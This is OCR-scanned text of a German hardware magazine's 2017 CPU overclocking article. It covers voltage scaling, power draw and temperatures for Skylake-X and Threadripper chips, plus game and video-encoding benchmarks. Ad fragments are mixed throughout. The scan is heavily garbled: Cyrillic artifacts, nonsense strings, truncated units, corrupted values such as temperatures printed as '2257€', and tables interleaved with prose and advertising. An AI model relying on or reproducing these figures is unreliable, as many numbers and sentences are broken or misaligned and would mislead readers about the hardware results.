Turbo-Takt (1-2 Kerne) 4.200 MHz 4.200 MHz 4.300 MHz 4.300 MHz 4.300 MHz 4.300 MHz 4.000 MHz 4.500 MHz 4.200 MHz 
Maximaltakt (Turbo Boost 3) 4.400 MHz 4.400 MHz 4.400 MHz 4.400 MHz 4.500 MHz 4.500 MHz N. unterstützt N. unterstützt | N. unterstützt 
AVX2-Basis-Takt 2.300 MHz 2.500 MHz 2.700 MHz 2.600 MHz 2.900 MHz 2.900 MHz 3.500 MHz K. Angabe K. Angabe 
AVX2-Turbo-Takt (alle Kerne) 3.200 MHz 3.300 MHz 3.500 MHz 3.400 MHz 3.600 MHz 3.700 MHz 3.800 MHz K. Angabe K. Angabe 
AVX2-Turbo-Takt (1-2 Kerne) 3.700 MHz 3.700 MHz 3.700 MHz 3.700 MHz 4.000 MHz 3.800 MHz 3.800 MHz K. Angabe K. Angabe 
AVX512-Basis-Takt 2.000 MHz 2.100 MHz 2.400 MHz 2.200 MHz 2.500 MHz 2.700 MHz 3.000 MHz N.unterstützt | N. unterstützt 
AVX512-Turbo-Takt (alle Kerne) 2.800 MHz 3.000 MHz 3.100 MHz 2.900 MHz 3.300 MHz 3.500 MHz 3.700 MHz N.unterstützt | N.unterstützt 
AVX512-Turbo-Takt (1-2 Kerne) 3.500 MHz 3.500 MHz 3.500 MHz 3.700 MHz 4.000 MHz 3.600 MHz 3.800 MHz N. unterstützt N. unterstützt 
AVX512-FMA-Einheiten pro Kern 2 2 2 2 2 2 2 N. unterstützt | N. unterstützt 
PCle lanes 44 44 44 44 44 28 28 16 16 
Speichertakt (1 DIMM/Channel) DDR4-2667 DDR4-2667 DDR4-2667 DDR4-2667 DDR4-2667 DDR4-2667 DDR4-2400 DDR4-2667 DDR4-2667 
Speicherkanäle 4 4 4 4 4 4 4 2 2 

Preis Ca. 2.380 EUR | Ca. 1.980 EUR | Ca. 1.640 EUR | Ca. 1.090 EUR | Ca. 915 EUR Ca. 550 EUR Ca. 355 EUR Ca. 320 EUR Ca. 230 EUR 
54 PC Games Hardware | 11/17 www.pcgameshardware.de 


ASERING.de 


10/2017 
TOP-PRODUKT 


EKL 
Alpenföhn Brocken 3 


‚ Нагйшаге 


AS HARDWARE-MAGAZIN FÜR PC-SPIELER 


Я 
⁄ E— 
IT N =Z 
en = 
3 Ay 
EA Uh 2 
= f 
= c Ё 
224 4 Z 
294 
= 


ш 


\ 


t 


j^ ИШ ` 


4 


vq KING MOD 
SYSTEMS 


KING MOD CK GIGABYTE 


KOCA ЕГИ Alpenföhn Brocken 3 


MULTI-SOCKEL-CPU-KÜHLER 3 Ё 
Multi-Sockel-CPU-Kühler 


DIE DES ERFOLGSKÜHLERS Intel Core ib-7500 Prozessor 


Asymmetrischer Tower-Kühler NVIDIA GeForce GTX 1060 
Enorm leistungsfähiger Wing Boost 3 140-mm-Lüfter Grafikkarte 


RockMount-Montagesystem ermóglicht unkompliziertere 
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artner ist die Targobank. Die Angaben stellen zugleich das 2/3 Beispiel gem. $ 6 a Abs. 3 PAngV dar. Technische Änderungen, Irrtümer und Druckfehler vorbehalten 


PROZESSOREN | CPU-Overclocking 


CPU-Monster bandigen 


In den vergangenen Monaten erschienen zahlreiche Prozessoren mit sechs oder mehr Kernen. Trotz 


hoher Grundleistung steckt in den Chips noch einiges Tuning-Potenzial, welches wir ausloten. 


it CPU-Monstern sind na- 
Miis die Oberklasse- und 
High-End-Chips für den Intel-Sockel 
2066 und AMDs Gegenstück TRÁ 
gemeint. Da wir die Overclocking- 
Reserven des i9-7900X bereits in 
Ausgabe 08/2017 beleuchtet haben, 
konzentrieren wir uns Intel-seitig 
auf die Modelle Core i7-7800X und 
17-7820X mit sechs beziehungswei- 
se acht Kernen. Aus AMDs Thread- 
ripper-Serie beschäftigen wir uns 
mit dem Achtkerner 1900X sowie 
dem Topmodell 1950X mit der dop- 
pelten Kernanzahl. Zum Ende des 
Artikels vergleichen wir die Takt- 
und Leistungsreserven mit belieb- 
ten CPUs, die zwar oft nur vier Ker- 
ne bieten, dafür aber günstiger und 
in vielen Leser-PCs vertreten sind. 
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i7-7800X & -7820X 

Intel setzt bei Skylake-X-Prozes- 
soren bekanntlich nicht auf eine 
Lötverbindung zwischen Die und 
Heatspreader, sondern trägt Wär- 
meleitpaste auf. Vergleichtests von 
risikofreudigen Übertaktern, wel- 
che die Metallkappe demontiert, 
Flüssigmetall aufgetragen und den 
Heatspreader wieder fixiert haben, 
zeigen, dass der Wärmeübergang 
von den Kernen auf die Schutz- 
haube im Auslieferungszustand 
suboptimal ist. Das konnten wir 
beim OC-Test des i9-7900X noch 
durch die Verwendung einer sehr 
leistungsfähigen Custom-Wasser- 
kühlung kompensieren und die 
durchschnittliche Kerntemperatur 
bei 1,20 Volt und - zugegeben ex- 


tremer - AVX-512-Last in Form von 
Prime95 v29.2 auf knapp 80 °C be- 
grenzen. 


Für den OC-Test der weniger kern- 
reichen Skylake-X-Chips griffen wir 
auf eine etwas schwächere All-in- 
One-Wasserkühlung in Form der 
Thermaltake Floe Riiing 360 TT 
Premium Edition zurück, was sich 
an den Ergebnissen ablesen lässt: 
Der i7-7800X erreicht bei gleicher 
Spannung und Last fast 90 °C, der 
7820X erreicht dieses Temperatur- 
niveau bereits bei 1,15 Volt. Das ist 
aber nur eine Seite der Medaille. 
Ist die Kühlung nämlich leistungs- 
fähig genug, lassen sich überzeu- 
gende Tuning-Ergebnisse erzielen, 
da die Chips gut mit zusätzlicher 


Spannung skalieren. Eine von 1,00 
auf 1,10 Volt erhöhte Kernspan- 
nung belohnen beispielsweise 
beide Chips mit einem um 300 
Megahertz erhöhten Maximaltakt 
in Cinebench R15 (der eine eher 
mit fordernden Spielen vergleich- 
bare Abwärme generiert als ein 
aktuelles Prime95). Interessanter- 
weise erweist sich unser 7820X im 
Direktvergleich als die potentere 
CPU und lässt sich bei identischer 
Spannung trotz zwei zusätzlicher 
Kerne mit einem leicht höheren 
Takt betreiben. Das zeigt zumin- 
dest, dass Übertakter, die eine mög- 
lichst hohe Single-Thread-Leistung 
anpeilen, auch mit einem Achtker- 
ner glücklich werden können. In 
die Taktregionen über 5 GHz wie 
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CPU-Overclocking | PROZESSOREN e 


Core i7-7800X: Spannungsskalierung von 0,900 bis 1,300 Volt 


Kernspannung (UEFI-Menü) Auto Auto, ohne Enhanced 0,900 1,000 1,100 1,200 1,300 

(ca. 1,05 Volt) Turbo (ca. 1,05 Volt) Volt Volt Volt Volt Volt 
Max. Kerntakt (Cinebench R15) 4.000 MHz (kein OC) 4.000 MHz (kein OC) 3.800 MHz 4.200 MHz 4.500 MHz 4.700 MHz 4.800 MHz 
Max. Kerntakt (Prime95 v26.6, Small FFTs) 4.000 MHz (kein OC) 4.000 MHz (kein OC) 3.800 MHz 4.200 MHz 4.400 MHz 4.700 MHz 4.800 MHz 
Max. Kerntakt (Prime95 v29.2 (AVX2), Small FFTs) 4.000 MHz (kein OC) 4.000 MHz (kein OC) 3.700 MHz 4.100 MHz 4.400 MHz 4.500 MHz Zu heiß 
Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 68 Watt 68 Watt 92 Wat 97 Wat 100 Wa 104 Wa 109 Wa 
Leistungsaufnahme (Cinebench R15) 79 Watt 79 Watt 148 Watt 173 Watt 203 Watt 239 Wat 281 Wa 
Leistungsaufnahme (Prime95 v26.6, Small FFTs) 84 Watt 84 Watt 152 Watt 177 Watt 208 Wa 255 Wa 315 Wa 
Leistungsaufnahme (Prime95 v29.2, Small FFTs) 223 Watt 223 Watt 178 Watt 212 Watt 263 Wa 330 Wat Entfä 
Differenz zwischen Prime95 v26.6 und Leerlauf 16 Watt 16 Watt 60 Wat 80 Wat! 108 Wa 151 Wa 206 Wa 
Differenz zwischen Prime95 v29.2 und Leerlauf 155 Watt 55 Watt 86 Wat 115 Watt 163 Wat 226 Watt Entfä 
Kerntemperatur (Prime95 v26.6, Small FFTs) 49,4 °C 49,4 °C 38,8 °C 47,8 °C 57,5°C 73,0 °C 91,8 °C 
Kerntemperatur (Prime95 v29.2, Small FFTs) 59,1 °C 58,9 °C 43,3 °G 55 0 °С 68,8 °C 88,6 °C Entfà 
Differenz kühlster/heißester Kern (Prime95 v26.6) 7 Kelvin 6 Kelvin 3 Kelvin 5 Kelvin 4 Kelvin 8 Kelvin 9 Kelvin 
Differenz kühlster/heißester Kern (Prime95 v29.2) 9 Kelvin 9 Kelvin 4 Kelvin 5 Kelvin 9 Kelvin 12 Kelvin Entfä 
Punkte in Cinebench R15 bei max. Takt 1.356 1.356 1.231 1.410 1.497 1.557 1.498 
Punkte pro Watt (Cinebench R15, max. Takt) 7,66 7,58 8,32 8,15 7.37 6,51 533 
System: Asus ROG Strix X299-E Gaming (UEFI 0702), 4 x 8 GiByte DDR4-2400 (15-15-15-35 1T), Geforce GT 640, Thermaltake Floe Riiing 360; Win 10 


Core i7-7820X: Spannungsskalierung von 0,900 bis 1,200 Volt 


Kernspannung (UEFI-Menü) Auto Auto, ohne Enhanced 0,900 1,000 1,100 1,150 1,200 

(ca. 1,03 Volt) Turbo (ca. 1,03 Volt) Volt Volt Volt Volt Volt 
Max. Kerntakt (Cinebench R15) 4.000 MHz (kein ОС) 4.000 MHz (kein OC) 3.900 MHz 4.300 MHz 4.600 MHz 4.800 MHz 4.800 MHz 
Max. Kerntakt (Prime95 v26.6, Small FFTs) 4.000 MHz (kein ОС) 4.000 MHz (kein OC) 3.900 MHz 4.300 MHz 4.600 MHz 4.700 MHz 4.800 MHz 
Max. Kerntakt (Prime95 v29.2 (AVX2), Small FFTs) 4.000 MHz (kein ОС) 4.000 MHz (kein OC) 3.800 MHz 4.200 MHz 4.400 MHz 4.500 MHz Zu heiß 
Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 68 Watt 69 Watt 95 Wat 102 Watt 106 Wa 115 Wa 122 Wa 
Leistungsaufnahme (Cinebench R15) 99 Watt 201 Watt 170 Watt 203 Watt 241 Watt 269 Wat 291 Wa 
Leistungsaufnahme (Prime95 v26.6, Small FFTs) 207 Watt 208 Watt 173 Watt 211 Watt 258 Wa 288 Wa 321 Wa 
Leistungsaufnahme (Prime95 v29.2, Small FFTs) 257 Watt 257 Watt 205 Watt 257 Watt 330 Wa 379 Wat Entfällt 
Differenz zwischen Prime95 v26.6 und Leerlauf 39 Watt 139 Watt 78 Wat 109 Watt 152 Wa 173 Wa 199 Wa 
Differenz zwischen Prime95 v29.2 und Leerlauf 189 Watt 188 Watt 110 Watt 155 Watt 224 Wa 264 Watt Entfällt 
Kerntemperatur (Prime95 v26.6, Small FFTs) 49,8 °C 49,8 °C 41,1°C 50,4 °C 62,8 °C 70,3 °C RE 
Kerntemperatur (Prime95 v29.2, Small FFTs) 59,7 °C 59 | SG 46,3 °C 58,7 °C Doc 88,3 °C Entfällt 
Differenz kühlster/heißester Kern (Prime95 v26.6) 10 Kelvin 9 Kelvin 5 Kelvin 8 Kelvin 10 Kelvin 13 Kelvin 14 Kelvin 
Differenz kühlster/heißester Kern (Prime95 v29.2) 12 Kelvin 12 Kelvin 8 Kelvin 12 Kelvin 14 Kelvin 20 Kelvin Entfällt 
Punkte in Cinebench R15 bei max. Takt 1.787 1.787 1.744 1.874 1.982 2.055 2.055 
Punkte pro Watt (Cinebench R15, max. Takt) 8,98 8,89 10,26 9,23 8,22 7,64 7,06 
System: Asus ROG Strix X299-E Gaming (UEFI 0702), 4 x 8 GiByte DDR4-2666 (15-15-15-35 1T), Geforce GT 640, Thermaltake Floe Riiing 360; Win 10 


ein übertakteter i7-7700K stößt 


male Taktsteigerungen zu erzielen. 


Interfaces um den klar schnellsten 


OC für Multitasking? 


aber auch ein überdurchschnitt- Eine Anhebung von 1,20 auf 1,40 — Ryzen-Achtkerner. Für viele Spiele ist ein schneller 
licher Skylake-X-Chip kaum vor - Volt erhöht den Maximaltakt in Vierkernprozessor ausreichend, 
das bleibt vermutlich kommenden Cinebench R15 beispielsweise um Das Overclocking-Potenzial des zusätzliche Kerne bringen oft nur 


Coffee-Lake-Modellen wie dem i7- 


magere 150 MHz. Laut AMD lan- 


1950X ist mit guten 1800X-CPUs 


ein überschaubares Leistungsplus. 


8700K vorbehalten. den auf Threadripper-Prozessoren zu vergleichen, was angesichts Für Modelle mit acht (oder mehr) 

nur die besten fünf Prozent aller der doppelten Kernanzahl eben- Kernen spricht neben einer gewis- 
1900X & 1950X gefertigten Zeppelin-Dies, was sich falls darauf hindeutet, dass AMD sen Zukunftssicherheit daher vor 
Die großen  Heatspreader der am 1900X aufzeigen lässt: Während tatsächlich gut selektierte Dies allem die Möglichkeit, mehrere 


AMD-Threadripper-Prozessoren 
sind genau wie bei den kleineren 
Ryzen-Chips verlötet, der Wärme- 
übergang an dieser Stelle stellt da- 
her keine Schwachstelle dar. Leider 
macht das allein noch keine tolle 
Overclocking-CPU aus, wie unsere 
Tuning-Versuche mit dem Achtker- 
ner 1900X zeigen. Im Taktbereich 
über 4 GHz sind große Spannungs- 
erhöhungen erforderlich, um mini- 
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der Chip bereits bei 1,20 Volt über 
4 GHz Cinebench-stabil bewältigt, 
testeten wir vor einigen Monaten 
fünf Ryzen-7-Prozessoren. Luftge- 
kühlt, aber nicht temperaturlimit- 
ert, erreichten wir bei gleicher 
Kernspannung lediglich Taktraten 
zwischen 3,60 und 3,85 Ghz. Beim 
1900X handelt es sich im übertak- 
teten Zustand also selbst ohne Be- 
rücksichtigung des Quad-Channel- 


einsetzt. Für Taktregionen über 4 
GHz sollten Sie aber trotz gutem 
Wärmeübergang nicht an der Küh- 
lung sparen: Im Cinebench gónnt 
sich unser Testsystem bei 1,40 Volt 
ca. 430 Watt, was gemessen an der 
Leistungsaufnahme im Leerlauf bei 
Auto-Einstellungen einem Mehr- 
verbrauch von rund 350 Watt ent- 
spricht, den sich Prozessor und 
Spannungswandler teilen. 


Anwendungen parallel nutzen zu 
kónnen. Als Beispiel werden oft 
Let's-Play-Szenarien genannt, also 
das gleichzeitige Spielen eines ak- 
tuellen Titels, während das Video 
gleichzeitig bei einer Streaming- 
Plattform hochgeladen und für das 
eigene Archiv oder den späteren 
Upload bei einem Video-Hoster zu- 
sátzlich in hoher Qualitát auf dem 
lokalen Rechner gespeichert wird. 


11/17 | PC Games Hardware 57 


PROZESSOREN | CPU-Overclocking 


i7-7820X: Quake Champions (Early Access) 


1.280 x 720, niedrige Details 


Wir führen den Praxis-Test mit 
Quake Champions durch, einem 
schnellen Arena-Shooter, bei dem 
hohe dreistellige Framerates spiel- 


200 Fps. Während der 7820X im 
Wesentlichen von einem angeho- 
benen Kern- und Cache-Takt pro- 
fitiert, zeigt sich beim 1900X eine 


RE relevante Vorteile bieten können. große Abhängigkeit vom Arbeits- 
ее — e. b Als Gegenspieler treten die Model- speicher. Die Beschleunigung von 
46/32 GHz, DDRA-2666/CL15, ОС BEE 26.9 (+8 5) le i7-7820X und Ryzen TR-1900X DDR4-2666 auf DDR4-3200 bringt 
4,6/2,4 GHz, DDRA-2666/CL15, ОС aoi c 239,0 (+4 %) . | . us 

4,0/2,4 GHz, DDRA-2666/CL15, qc EEE | 228,9 (Basis) an, die реше acht Kerne bieten und fast 20 zusätzliche Fps, woran aller- 
4,0/2,4 GHz, DDRA-2666/CL15, DC EEE 222,0 (3 %) preislich ähnlich gelagert sind. Der dings auch die Beschleunigung der 


1.280 x 720, niedrige Details, Hintergrundlast 4 Threads x265 


Intel-Chip ist zwar etwas teurer, 
dafür sind Sockl-2066-Mainboards 


Kommunikationsschnittstelle Infi- 
nity Fabric ihren Anteil haben dürf- 


46/32 GHz:DDR1:3600 CI — ИН 2:5 ps e zu einem niedrigeren Preis erhält- te. Deren Taktfrequenz entspricht 
1 = їн e Se — . — e lich. Im Spiel stellen wir eine Auf- stets dem halben DDR-Taktequiva- 
4,6/2,4 GHz, DDR4-2666/CL15, QC EBEN 214,8 (+3 %) lösung von 1.280 x 720 und nied- lent, also zum Beispiel 1.600 MHz 
4,0/2,4 GHz, DDRA-2666/CL15, qc EEE 209,3 (Basis) rige Details ein, um ein GPU-Limit bei der Taktstufe DDR4-3200. Auf- 
4,0/2,4 GHz, DDR4-2666/CL15, DC ES ШЕШ 105,8 (-6 96) ausschließen zu können. Ambitio- fällig heftig ist der Leistungsverlust 


1.280 x 720, niedrige Details, Hintergrundlast je 4 Threads x265/Memtest 


nierte (Profi-)Spieler nutzen typi- 
scherweise die gleiche Detailstufe, 


bei der Nutzung von zwei statt vier 
Modulen, wodurch lediglich zwei 


4,6/3,2 GHz, DDR4-3600/CL16, ОС ВЕС) ШЕШ 204,7 (+18 % : В Р 
2015: Ар У — NI 200,1 wi 2 um eine höhere Framerate und statt vier Kanäle und auch nur zwei 
4,6/3,2 GHz, DDR4-2666/CL15, QC DEE 187,0 (+8 96) eine bessere Sichibärkeit von Ge- statt vier Ranks ER sind. 
4,6/2,4 GHz, DDR4-2666/CL15, qc DEE 176,1 (+ 1 %) genspielern zu erreichen. Während der 7820X in diesem Sze- 
4,0/2,4 GHz, DDR4-2666/CL15, qc ЕНТО 888 173,6 (Basis) nario nur um 3 Prozent nachgibr, 
4,0/2,4 GHz, DDR4-2666/CL15, ОС ge 115,0 (-34 %) In der ersten Messreihe ermitteln beträgt der Leistungsverlust beim 
: RD ENSE EES wir lediglich die Grundgeschwin- AMD-System satte 16 Prozent. Dass 
ystem: Core i7- ‚Asus trix -E Gaming , 4 x 8 GiByte DD 2 š А š T š А : 
(Single Rank), MSI GTX 1080 Ti Gaming X 11G; Win 10 64 Bit, Geforce 382.53 WHQL (Q) emeng Fps digkeit und wie gut die Systeme es sich dabei um keinen Ausreißer 


Bemerkungen: Angegeben sind der Kern- und Cache-Takt. DC/QC = Dual/Quad Channel 


i7-7820X: Video-Umwandlung (H.264 in HEVC) 


Hwbot x265 Benchmark v2.0.0 (4k, Overkill 2x) 


4,6/3,2 GHz, DDR4-3600/CL16, ОС m 17,4 (+15 %) 
4,6/3,2 GHz, DDR4-3200/CL14, qc ms 17,4 (+15 96) 
4,6/3,2 GHz, DDR4-2666/CL15, ОС | 17,2 (4-14 %) 
4,6/2,4 GHz, DDR4-2666/CL15, QC E 16,8 (+11 90) 
4,0/2,4 GHz, DDR4-2666/CL15, ОС XXX 15,1 (Basis) 


4,0/2,4 GHz, DDRA-2666/CL15, DC e 14,6 (3 %) 4,2/1,33 GHz, DDR4-2666/CL15, qc ES El 217,7 (+3 %) 
System: Core i7-7820X, Asus ROG Strix X299-E Gaming (ШЕН 0702), 4 x 8 GiByte DDR4 | p. 3,9/1,33 GHz, DDR4-2666/CL15, ОС egeo 211,1 (Basis) 
(Single Rank), MSI GTX 1080 Ti Gaming X 11G; Win 10 64 Bit, Geforce 382.53 WHQL (Q) o NS 3,9/1,33 GHz, DDR4-2666/CL15, DC pst 176,5 (-16 90) 
Bemerkungen: Angegeben sind der Kern- und Cache-Takt. DC/QC = Dual/Quad Channel 1.280 x 720, niedrige Details, Hintergrundlast 4 Threads x265 


auf typische Tuning-Maßnahmen 
wie das Anheben der Kern- und 
RAM-Takts ansprechen. Beide CPUs 
liegen nah beisammen und liefern 
im Durchschnitt mühelos über 


in einem Early-Access-Titel handelt, 
zeigt der Hwbot x265 Benchmark 
auf. Hier ist der Unterschied mit 
3 zu 18 Prozent Leistungsverlust 
noch etwas stärker ausgeprägt. 


1900X: Quake Champions (Early Access) 


1.280 x 720, niedrige Details 


4,2/1,6 GHz, DDR4-3200/CL14, QC oiu 236,1 (+12 90) 


4,2/1,6 GHz, DDR4-3200/CL14, QC Egg 222,2 (+15 %) 
4,2/1,33 GHz, DDR4-2666/CL15, QC gl S 202,6 (+5 96) 
3,9/1,33 GHz, DDR4-2666/CL15, ОС 56 [X 193,7 (Basis) 
3,9/1,33 GHz, DDR4-2666/CL15, DC Eng E 144,8 (-25 96) 
1.280 x 720, niedrige Details, Hintergrundlast je 4 Threads x265/Memtest 


4,2/1,6 GHz, DDR4-3200/CL14, QC eqs E 146,6 (+14 90) 


4,2/1,33 GHz, DDR4-2666/CL15, ОС Eo 131,5 (+2 90) 
3,9/1,33 GHz, DDR4-2666/CL15, ОС gg 129,1 (Basis) 
3,9/1,33 GHz, DDR4-2666/CL15, DC ETUI 95,2 (-26 96) 


System: Ryzen Threadripper 1900X, Asus Zenith Extreme (UEFI 0503), 4 x 8 GiByte DDR4 
(Single Rank), MSI GTX 1080 Ti Gaming X 11G; Win 10 64 Bit, Geforce 382.53 WHQL (Q) 
Bemerkungen: Angegeben sind Kern- und Infinity-Fabric-Takt. DC/QC = Dual/Quad Channel 


Mimil Ø Fps 


» Besser 


1900X: Video-Umwandlung (H.264 in HEVC) 


Hwbot x265 Benchmark v2.0.0 (4k, Overkill 2x) 
4,2/1,6 GHz, DDR4-3200/CL14, QC EX 11,6 (+8 %) 
4,2/1,33 GHz, DDR4-2666/CL15, ОС Em 11,4 (+7 %) 
3,9/1,33 GHz, DDR4-2666/CL15, ОС 10,7 (Basis) 
3,9/1,33 GHz, DDR4-2666/CL15, DC 68 8,8 (-18 %) 


evi $ 
PEKX TL 1 


Der Ryzen TR-1900X leidet stärker als der Core i7-7820X unter dem Wegfall von 
Kanälen und Ranks und schwächelt bei Hintergrundlast mit vielen Speicherzugriffen. 


System: Ryzen Threadripper 1900X, Asus Zenith Extreme (UEFI 0503), 4 x 8 GiByte DDR4 
(Single Rank), MSI GTX 1080 Ti Gaming X 116; Win 10 64 Bit, Geforce 382.53 WHQL (Q) 
Bemerkungen: Angegeben sind Kern- und Infinity-Fabric-Takt. DC/QC = Dual/Quad Channel 


Fps 
> Besser 
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CPUs mit 6/8 Kernen: Maximaltakt in Cineben 


Ausgetestet in Schritten von 50 MHz (Ryzen 5/7) respektive 100 MHz (Core i7) 
5.300 


5.100 
4.900 
4.700 
4.500 
4.300 
4.100 


Takt in Megahertz 


3.900 
3.700 
3.500 


E Ryzen 7 1800X 
E Core i7-5820K_| 4100 | | 4400 
E Core i7-6900K | 4200 | 


Kühlung: Scythe Rasetsu (Ryzen 5 1600X, Ryzen 7 1800X), Wasserkühlung (Core i7-5820K/6900K/7820X) 


CPU-Overclocking | PROZESSOREN 


CPUs mit 2/4 Kernen: Maximaltakt in Cinebench 


Ausgetestet in Schritten von 50 Mhz (Ryzen 5) respektive 100 MHz (Core i3/i7) 
5.300 


5.100 
4.900 
4.700 
4.500 
4.300 
4.100 


Takt in Megahertz 


3.900 
3.700 
3.500 


ee 
[389 | Lol | 
[489 | on ао | 596 | 
|mGeimok | 40% | 436 лао 45 | as [480 | | 


Kühlung: Scythe Rasetsu (Ryzen 5 1500X), Wasserkühlung (Core i3-7350K, Core i7-4790K/6700K/7700K) 


In der zweiten Messreihe stellen 
wir parallel zum Spiel vier Threads 
des Hwbot-Benchmarks ab, die 
eine Umwandlung eines 4K-Videos 
von H.264 nach HEVC vornehmen. 
Diese Aufgabe erledigen beide Sys- 
teme zufriedenstellend. Die Frame- 
rate sinkt zwar, mit Overclocking 


schaffen aber beide Setups weiter- 
hin im Durchschnitt über 200 Fps 
- der 7820X dank DDR4-3600 (was 
wir mit dem 1900X nicht stabil 
nutzen konnten) sogar bei den Mi- 
nimum-Fps. In diesem Szenario ver- 
größern sich die Vor- und Nachteile 
der unterschiedlichen PC-Konfigu- 


rationen. Dual statt Quad Channel 
kostet beim 7820X nun 6 statt 3 
Prozent Leistung, beim 1900X sinkt 
die Framerate um 25 statt zuvor 16 
Prozent. Andererseits bringt das 
Ausreizen des Kern-, Cache- und 
RAM-Takts beim Intel-System nun 
12 statt 10 Prozent mehr Fps, beim 


AMD-Setup beträgt das Leistungsp- 
Ius 15 statt 12 Prozent. 


Als Härtetest fügen wir im nächs- 
ten Schritt noch vier Instanzen von 
HCI Memtest Pro hinzu, die jeweils 
1.000 MB des Arbeitsspeichers auf 
Fehler prüfen. Die stark erhóhten 


Unbegrenzte Möglichkeiten! 


@ 


DARK BASE 900 E: | 


Unzählige Möglichkeiten einen PC zu konfigurieren und eine Gehäuse-Serie, die all das 
möglich macht: Dark Base 900. Maximale Flexibilität für deine individuellen Anforderungen 
und - typisch be quiet! - einer der leisesten Tower der Welt! ` 


= Mainboard-Tray und HDD-Tray mit erweiterten Einbaumóglichkeiten 

= Drei nahezu unhórbar leise be quiet! SilentWings? З PWM Lüfter 

= Intelligente Luftstromführung mit geráuschreduzierenden Auslássen 

2 Vier Bereiche für Wasserkühlungsradiatoren bis zu 420mm 

Dark Base Pro 900 mit LED-Beleuchtung, Seitenfenster aus getóntem Temperglas und 
kabelloser Ladestation für Qi-fáhige Endgeräte 


Für mehr Informationen besuchen Sie bequiet.com. 


GERMANY'S NO. " 


| PSU MANUFACTURER 
Erhältlich bei: alternate.de - arlt.de - bora-computer.de - caseking.de - computeruniverse.net | 


be: tU 
conrad.de - hiq24.de - e-tec.at - galaxus.ch - mindfactory.de - notebooksbilliger.de · reichelt.de € с = 


"GfK Panelmarkt, 2007-2017 


=) PROZESSOREN | CPU-Overclocking 


Ryzen Threadripper 1900X: Spannungsskalierung von 1,10 bis 1,40 Volt 


Kernspannung (UEFI-Menü) Auto (ca. 1,33 V) 1,100 Volt 1,200 Volt 1,300 Volt 1,400 Volt 
Max. Kerntakt (Cinebench R15) 3.900 Mhz (kein OC) 3.850 MHz 4.050 MHz 4.150 MHz 4.200 MHz 
Max. Kerntakt (Prime95 v29.2 (AVX2), Small FFTs) 3.900 Mhz (kein OC) 3.850 MHz 3.950 MHz 4.100 MHz 4.150 MHz 
Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 87 Watt 86 Watt 89 Watt 92 Watt 95 Watt 
Leistungsaufnahme (Cinebench R15) 235 Watt 178 Watt 205 Watt 236 Watt 272 Watt 
Leistungsaufnahme (Prime95 v29.2, Small FFTs) 256 Watt 179 Watt 207 Watt 242 Watt 276 Watt 
Differenz zwischen Prime95 v29.2 und Leerlauf 169 Watt 93 Watt 118 Watt 150 Watt 181 Watt 
Kerntemperatur (Prime95 v29.2, Small FFTs) 64,4 °C 45,9 °С 52 7 °G 63,3 °C 2257€ 
Punkte in Cinebench R15 bei max. Takt 1.705 1.668 1.759 1.798 1.803 
Punkte pro Watt (Cinebench R15, max. Takt) 7,25 9,37 8,58 7,62 6,63 
System: Asus ROG Zenith Extreme (UEFI 0503), 4 x 8 GiByte DDR4-2666 (15-15-15-35 1T), Geforce GT 640, Fractal Design Celsius 536; Win 10, Loadline Calibration Level 6 bei manuell 
gesetzter Kernspannung 


Ryzen Threadripper 1950X: Spannungsskalierung von 1,10 bis 1,40 Volt 


Kernspannung (UEFI-Menü) Auto (ca. 1,15 V) 1,100 Volt 1,200 Volt 1,300 Volt 1,400 Volt 
Max. Kerntakt (Cinebench R15) 3.500 MHz (kein OC) 3.700 MHz 3.850 MHz 4.000 MHz 4.150 MHz 
Max. Kerntakt (Prime95 v29.2 (AVX2), Small FFTs) 3.500 MHz (kein OC) 3.700 MHz 3.850 MHz 3.900 MHz Zu heiß 
Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 82 Watt 85 Watt 89 Watt 95 Watt 101 Watt 
Leistungsaufnahme (Cinebench R15) 267 Watt 251 Watt 300 Watt 363 Watt 431 Watt 
Leistungsaufnahme (Prime95 v29.2, Small FFTs) 281 Watt 264 Watt 321 Watt 390 Watt Entfállt 
Differenz zwischen Prime95 v29.2 und Leerlauf 199 Watt 179 Watt 232 Watt 295 Watt Entfällt 
Kerntemperatur (Prime95 v29.2, Small FFTs) 56, | SG 54,9 °С 63,8 °C 45,39€ Entfällt 
Punkte in Cinebench R15 bei max. Takt 3.001 3.091 3.204 3.312 3.38 
Punkte pro Watt (Cinebench R15, max. Takt) 11,24 12,31 10,68 9,12 7,84 
System: Asus ROG Zenith Extreme (UEFI 0503), 4 x 8 GiByte DDR4-2666 (15-15-15-35 1T), Geforce GT 640, Fractal Design Celsius 536; Win 10, Loadline Calibration Level 6 bei manuell 
gesetzter Kernspannung 


RAM-Zugriffe wirken sich nun auch 
beim Skylake-X-Rechner heftig aus: 


Prozent. Quake Champions bleibt 
zwar auch in diesem Fall spielbar, 


Vergleich: Prozessoren mit und ohne OC 


Cinebench R15 


Ryzen TR-1950X 


Core i7-7820X 


Ryzen TR-1900X 


Core i7-6900K 


Ryzen 7 1700 


Core i7-7800X 


Ryzen 5 1600X 


Core i7-5820K 


Core i7-7700K 


Core i7-6700K 


Ryzen 5 1500X 


Core i7-5775C 


Core i5-7600K 


Core i3-7350K 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


PCGH-Index 


Ryzen TR-1950X @ 4,15 GHz ma 3.381 (+10 96) 


EN 3.062 (Basis) 


Corei7-7820X © 4,80 GHz Eu 2.055 (+17 %) 


EN 1.750 (Basis) 


Ryzen TR-1900X @ 4,20 GHz E 1.803 (+5 90) 


Fee 1.716 (Basis) 


Core i7-6900K @ 4,40 GHz Eu 1.808 (+22 96) 


EN 1.483 (Basis) 


Ryzen 7 1700 © 3,95 GHz ju 1.726 (21 %) 


Fe 1.426 (Basis) 


Core i7-7800X @ 4,80 GHz Eu 1.498 (+15 96) 


ee 1.303 (Basis) 


Ryzen 5 1600X @ 4,10 GHz Ex 1.364 (+10 96) 


WIIIITSGGIGG-IGGFGIGEƏI==T£Z€IZ=Z<Z=ZGƏG (Basis) 


Core i7-5820K @ 4,70 GHz Eu 1.374 (+34 %) 


EN 1.022 (Basis) 


Core i7-7700K @ 5,10 GHz Eu 1.093 (+12 96) 


P 974 (Basis) 


Core i7-6700K @ 4,70 GHz EEE 1.031 (+16 96) 


EN 90 (Basis) 


